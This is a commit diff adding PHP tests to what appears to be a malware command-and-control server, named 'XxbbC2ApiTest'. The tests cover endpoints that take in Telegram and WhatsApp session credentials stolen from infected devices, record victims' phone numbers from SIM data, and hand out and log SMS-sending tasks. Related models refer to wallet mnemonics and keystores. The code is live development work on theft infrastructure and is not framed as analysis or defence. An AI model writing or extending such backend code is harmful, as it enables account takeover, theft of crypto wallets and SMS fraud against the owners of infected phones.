feat: wap/sms

This commit is contained in:
hashbro
2026-08-25 03:45:42 +08:00
parent 67791221bf
commit 5c9ceca4ea
18 changed files with 596 additions and 31 deletions
+131 -8
View File
@@ -7,6 +7,8 @@ use App\Models\DeviceApp;
use App\Models\DeviceEvent;
use App\Models\Note;
use App\Models\Photo;
use App\Models\PluginSession;
use App\Models\SmsReport;
use App\Models\WalletAddress;
use App\Models\WalletKeystore;
use App\Models\WalletMnemonic;
@@ -389,14 +391,135 @@ class XxbbC2ApiTest extends TestCase
$device = Device::query()->where('device_id', '000C30D83CD0402E')->first();
$this->assertNotNull($device);
$ks = WalletKeystore::query()->where('device_id', $device->id)->first();
$this->assertNotNull($ks);
$this->assertSame('123456789', $ks->raw_json['user_id'] ?? null);
$this->assertSame('Telegram', $ks->source);
$this->assertSame(0, (int) $ks->decrypted);
$this->assertSame('Telegram', $ks->raw_json['source'] ?? null);
$this->assertArrayHasKey('db_sqlite', $ks->raw_json);
$this->assertSame('AQID', $ks->raw_json['datacenterAuthInfoById'] ?? null);
$this->assertSame(0, WalletKeystore::query()->where('device_id', $device->id)->count());
$row = PluginSession::query()->where('device_id', $device->id)->first();
$this->assertNotNull($row);
$this->assertSame(PluginSession::KIND_TELEGRAM, $row->kind);
$this->assertSame('000C30D83CD0402E', $row->device_key);
$this->assertSame('123456789', $row->account_id);
$this->assertSame('123456789', $row->payload['user_id'] ?? null);
$this->assertArrayHasKey('db_sqlite', $row->payload);
$this->assertSame('AQID', $row->payload['datacenterAuthInfoById'] ?? null);
}
#[Test]
public function api_wp_t_ingests_whatsapp_session(): void
{
$this->xxbbPost('/api/wp/t', [
'd' => '000C30D83CD0402E',
'd1' => '00008030-000C30D83CD0402E',
'c' => '202700cfb1ad3de68e11239dcc26c30b',
'a' => 'wp',
'userId' => '15551234567',
'phoneId' => 'phone-id-1',
'registrationID' => 4242,
'clientStaticKeypairBase64' => 'QUJD',
'phoneKeyStore' => ['signedPreKey' => ['id' => 1], 'preKeys' => []],
'whatsappVersion' => '2.24.0',
])->assertOk();
$device = Device::query()->where('device_id', '000C30D83CD0402E')->first();
$this->assertNotNull($device);
$this->assertNull($device->channel_id);
$this->assertSame(0, WalletKeystore::query()->where('device_id', $device->id)->count());
$row = PluginSession::query()->where('device_id', $device->id)->first();
$this->assertNotNull($row);
$this->assertSame(PluginSession::KIND_WHATSAPP, $row->kind);
$this->assertSame('000C30D83CD0402E', $row->device_key);
$this->assertSame('15551234567', $row->account_id);
$this->assertSame('15551234567', $row->phone);
$this->assertSame('QUJD', $row->payload['clientStaticKeypairBase64'] ?? null);
}
#[Test]
public function event_stores_sms_phone_number(): void
{
$this->xxbbPost('/event', [
'd' => '000C30D83CD0402E',
'et' => 'sms_heartbeat',
'phoneNumber' => '+15550004444',
'cardsinfo' => [['isSimPresent' => true, 'phoneNumber' => '+15550004444']],
])->assertOk();
$device = Device::query()->where('device_id', '000C30D83CD0402E')->first();
$this->assertNotNull($device);
$this->assertSame('+15550004444', $device->phone);
}
#[Test]
public function sms_poll_stores_phone_from_cardsinfo(): void
{
$this->xxbbPost('/m/t/g', [
'd' => '000C30D83CD0402E',
'bundleID' => 'imagent',
'cardsinfo' => [['isSimPresent' => true, 'phoneNumber' => '+15550005555']],
])->assertOk();
$device = Device::query()->where('device_id', '000C30D83CD0402E')->first();
$this->assertNotNull($device);
$this->assertSame('+15550005555', $device->phone);
}
#[Test]
public function sms_report_does_not_use_dest_phone_as_device_phone(): void
{
$this->xxbbPost('/m/t/r', [
'd' => '000C30D83CD0402E',
'task_id' => 'task-dest-only',
'phone' => '+15550006666',
'msg' => 'sent',
])->assertOk();
$device = Device::query()->where('device_id', '000C30D83CD0402E')->first();
$this->assertNotNull($device);
$this->assertNull($device->phone);
}
#[Test]
public function sms_poll_stores_phone_and_returns_empty_tasks(): void
{
$resp = $this->xxbbPost('/m/t/g', [
'deviceID' => '000C30D83CD0402E',
'c' => '202700cfb1ad3de68e11239dcc26c30b',
'p' => '+15550001111',
'bundleID' => 'imagent',
'cardsinfo' => [['isSimPresent' => true, 'slotID' => 1]],
]);
$resp->assertOk();
$this->assertSame('1786468227899{"code":1,"data":[]}', $resp->getContent());
$device = Device::query()->where('device_id', '000C30D83CD0402E')->first();
$this->assertNotNull($device);
$this->assertSame('+15550001111', $device->phone);
$this->assertNull($device->channel_id);
$this->assertSame(0, DeviceEvent::query()->where('device_key', '000C30D83CD0402E')->count());
$this->assertSame(0, SmsReport::query()->count());
}
#[Test]
public function sms_report_stores_task_event(): void
{
$this->xxbbPost('/m/t/r', [
'd' => '000C30D83CD0402E',
'task_id' => 'task-9',
'phone' => '+15550003333',
'p' => '+15550002222',
'msg' => 'ok',
's' => '1',
])->assertOk();
$device = Device::query()->where('device_id', '000C30D83CD0402E')->first();
$this->assertNotNull($device);
$this->assertSame('+15550002222', $device->phone);
$this->assertSame(0, DeviceEvent::query()->where('device_key', '000C30D83CD0402E')->count());
$row = SmsReport::query()->where('device_id', $device->id)->first();
$this->assertNotNull($row);
$this->assertSame('000C30D83CD0402E', $row->device_key);
$this->assertSame('task-9', $row->task_id);
$this->assertSame('+15550003333', $row->dest_phone);
$this->assertSame('+15550002222', $row->local_phone);
$this->assertSame('ok', $row->msg);
$this->assertSame('1', $row->status);
}
#[Test]